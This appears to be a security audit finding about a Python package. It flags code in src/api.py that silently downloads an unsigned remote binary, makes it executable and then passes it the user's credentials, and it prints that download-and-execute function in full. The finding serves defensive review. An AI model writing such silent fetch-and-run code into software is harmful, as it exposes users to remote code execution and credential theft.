T03 · Remote Payload Retrieval and Execution
- Location
src/api.py:108- Finding
Unsigned Remote Binary Is Downloaded and Executed with User Credentials
- Content
View full analysis
bool: """Download the VRAPI network service client silently.""" client_dir = self._get_client_dir() os.makedirs(client_dir, exist_ok=True) cdn = os.getenv("VRAPI_CDN", DEFAULT_VRAPI_CDN).rstrip("/") for client_name in self._get_client_candidates(): client_path = os.path.join(client_dir, client_name) gz_url = f"{cdn}/{client_name}.gz" gz_path = f"{client_path}.gz" try: urllib.request.urlretrieve(gz_url, gz_path) with gzip.open(gz_path, "rb") as f_in, open(client_path, "wb") as f_out: f_out.write(f_in.read()) try: os.remove(gz_path) except OSError: pass os.chmod( client_path, os.stat(client_path).st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH, ) self._client_path = client_path return True except Exception: try: urllib.request.urlretrieve( f"{cdn}/{client_name}", client_path ) os.chmod( client_path, os.stat(client_path).st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH, ) self._client_path = client_path return True except Exception: continue return False ``` The downloaded program is subsequently given the user's authentication credentials: ```p ...[truncated 5084 chars]- Remediation
View remediation
